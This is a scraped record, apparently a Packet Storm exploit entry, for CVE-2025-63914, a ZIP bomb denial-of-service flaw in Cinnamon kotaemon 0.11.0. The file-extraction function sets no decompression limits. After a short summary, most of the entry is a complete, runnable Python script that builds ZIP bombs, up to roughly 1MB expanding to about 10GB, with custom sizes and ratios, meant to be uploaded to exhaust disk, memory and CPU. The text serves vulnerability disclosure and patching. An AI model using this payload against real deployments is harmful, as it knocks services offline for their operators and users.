{“lastseen”:”2025-12-08T15:28:02″,”description”:”Cinnamon kotaemon version 0.11.0 zip bomb proof of concept denial of service exploit…”,”published”:”2025-12-08T00:00:00″,”modified”:”2025-12-08T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Cinnamon kotaemon 0.11.0 ZIP Bomb”,”source”:””,”references”:””,”id”:”PACKETSTORM:212535″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-63914″],”sourceData”:”=============================================================================================================================================\\n | # Title : Cinnamon kotaemon v 0.11.0 ZIP Bomb Vulnerability in Cinnamon\/kotaemon – Proof of Concept |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits) |\\n | # Vendor : https:\/\/github.com\/cinnamon\/kotaemon |\\n =============================================================================================================================================\\n \\n [+] References : https:\/\/packetstorm.news\/files\/id\/212312\/ \\u0026 CVE-2025-63914\\n \\n [+] Summary : CVE-2025-63914 is a critical denial-of-service vulnerability in the Cinnamon\/kotaemon application that allows authenticated attackers to upload malicious ZIP archives \\n containing extreme compression ratios. The vulnerability exists in the _may_extract_zip function within \\\\libs\\\\ktem\\\\ktem\\\\index\\\\file\\\\ui.py, which performs ZIP file extraction without \\n enforcing any limits on decompressed size, file count, or compression ratios.\\n When exploited, this vulnerability enables attackers to create \\”ZIP bombs\\” – archives that appear small (kilobytes) but expand to enormous sizes \\n \\t\\t\\t (gigabytes or terabytes) when extracted. This triggers uncontrolled consumption of disk space, CPU, and memory resources, potentially leading to complete system unavailability and service crashes.\\n All instances up to version 0.11.0 are affected, requiring immediate patching or mitigation implementation.\\n \\n [+] POC : python poc.py\\n \\n #!\/usr\/bin\/env python3\\n \\n import zipfile\\n import os\\n import sys\\n import tempfile\\n import shutil\\n \\n def create_simple_zip_bomb(output_file=\\”zip_bomb.zip\\”, compressed_size_mb=1, ratio=10000):\\n \\”\\”\\”\\n Create a simple ZIP bomb with highly compressible data\\n \\”\\”\\”\\n print(f\\”[*] Creating ZIP bomb: {output_file}\\”)\\n print(f\\”[*] Target compressed size: {compressed_size_mb}MB\\”)\\n print(f\\”[*] Target expansion ratio: 1:{ratio}\\”)\\n \\n # Calculate uncompressed size\\n uncompressed_size = compressed_size_mb * ratio * 1024 * 1024\\n print(f\\”[*] Expected uncompressed size: {uncompressed_size\/(1024**3):.2f}GB\\”)\\n \\n try:\\n with zipfile.ZipFile(output_file, ‘w’, zipfile.ZIP_DEFLATED, compresslevel=9) as zipf:\\n # Create highly compressible data (zeros)\\n chunk_size = 1024 * 1024 # 1MB\\n total_chunks = compressed_size_mb * 10 # Create multiple chunks\\n \\n for i in range(total_chunks):\\n # Create compressible data (repeating zeros)\\n compressible_data = b’\\\\x00′ * chunk_size\\n zipf.writestr(f\\”bomb_file_{i:04d}.bin\\”, compressible_data)\\n \\n # Progress indicator\\n if i % 10 == 0:\\n progress = (i + 1) \/ total_chunks * 100\\n sys.stdout.write(f\\”\\\\r[*] Progress: {progress:.1f}%\\”)\\n sys.stdout.flush()\\n \\n print(f\\”\\\\n[+] ZIP bomb created: {output_file}\\”)\\n \\n # Show file info\\n file_size = os.path.getsize(output_file)\\n print(f\\”[+] Actual size: {file_size\/(1024*1024):.2f}MB\\”)\\n \\n # Verify the file\\n with zipfile.ZipFile(output_file, ‘r’) as zipf:\\n file_count = len(zipf.namelist())\\n total_size = sum(info.file_size for info in zipf.filelist)\\n print(f\\”[+] Files in archive: {file_count}\\”)\\n print(f\\”[+] Total uncompressed size: {total_size\/(1024**3):.2f}GB\\”)\\n if total_size \\u003e 0:\\n print(f\\”[+] Compression ratio: {total_size\/file_size:.0f}:1\\”)\\n \\n return True\\n \\n except Exception as e:\\n print(f\\”\\\\n[-] Error: {e}\\”)\\n return False\\n \\n def create_quick_zip_bomb():\\n \\”\\”\\”\\n Create a quick test ZIP bomb (small for testing)\\n \\”\\”\\”\\n print(\\”[*] Creating quick test ZIP bomb…\\”)\\n \\n output_file = \\”test_bomb.zip\\”\\n \\n try:\\n with zipfile.ZipFile(output_file, ‘w’, zipfile.ZIP_DEFLATED, compresslevel=9) as zipf:\\n # Add multiple highly compressible files\\n for i in range(100):\\n # 10KB of zeros (compresses to about 100 bytes)\\n data = b’\\\\x00′ * (10 * 1024)\\n zipf.writestr(f\\”file_{i:03d}.dat\\”, data)\\n \\n print(f\\”[+] Created: {output_file}\\”)\\n \\n # Show info\\n size = os.path.getsize(output_file)\\n print(f\\”[+] Size: {size} bytes ({size\/1024:.1f}KB)\\”)\\n \\n return True\\n \\n except Exception as e:\\n print(f\\”[-] Error: {e}\\”)\\n return False\\n \\n def main():\\n print(\\”=\\” * 60)\\n print(\\”CVE-2025-63914 – Zip Bomb Proof of Concept\\”)\\n print(\\”FOR EDUCATIONAL AND AUTHORIZED TESTING ONLY\\”)\\n print(\\”=\\” * 60)\\n print()\\n \\n print(\\”[!] WARNING: This creates potentially dangerous ZIP files\\”)\\n print(\\”[!] Use only in controlled test environments\\”)\\n print(\\”[!] Do NOT extract on production systems\\”)\\n print()\\n \\n print(\\”Choose option:\\”)\\n print(\\”1. Create simple ZIP bomb (1MB -\\u003e ~10GB)\\”)\\n print(\\”2. Create quick test bomb (small, safe for testing)\\”)\\n print(\\”3. Custom ZIP bomb\\”)\\n print(\\”4. Exit\\”)\\n \\n choice = input(\\”\\\\nEnter choice (1-4): \\”).strip()\\n \\n if choice == \\”1\\”:\\n create_simple_zip_bomb(\\”zip_bomb.zip\\”, 1, 10000)\\n elif choice == \\”2\\”:\\n create_quick_zip_bomb()\\n elif choice == \\”3\\”:\\n try:\\n size = int(input(\\”Enter compressed size in MB (e.g., 1): \\”))\\n ratio = int(input(\\”Enter expansion ratio (e.g., 10000): \\”))\\n filename = input(\\”Enter output filename (default: custom_bomb.zip): \\”).strip()\\n if not filename:\\n filename = \\”custom_bomb.zip\\”\\n create_simple_zip_bomb(filename, size, ratio)\\n except ValueError:\\n print(\\”[-] Invalid input\\”)\\n elif choice == \\”4\\”:\\n print(\\”[-] Exiting\\”)\\n return\\n else:\\n print(\\”[-] Invalid choice\\”)\\n \\n print()\\n print(\\”[*] Done!\\”)\\n print(\\”[!] REMINDER: For authorized security testing only\\”)\\n \\n if __name__ == \\”__main__\\”:\\n main()\\n \\t\\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/212535″,”cvss”:{“score”:6.5,”severity”:”MEDIUM”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:N\/I:N\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/212535\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-12-08T15:28:02″,”description”:”Cinnamon kotaemon version 0.11.0 zip bomb proof of concept denial of service exploit…”,”published”:”2025-12-08T00:00:00″,”modified”:”2025-12-08T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Cinnamon kotaemon 0.11.0 ZIP Bomb”,”source”:””,”references”:””,”id”:”PACKETSTORM:212535″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-63914″],”sourceData”:”=============================================================================================================================================\\n | # Title : Cinnamon kotaemon v…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,26,12,21,13,53,7,11,5],"class_list":["post-29320","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-65","tag-exploit","tag-medium","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n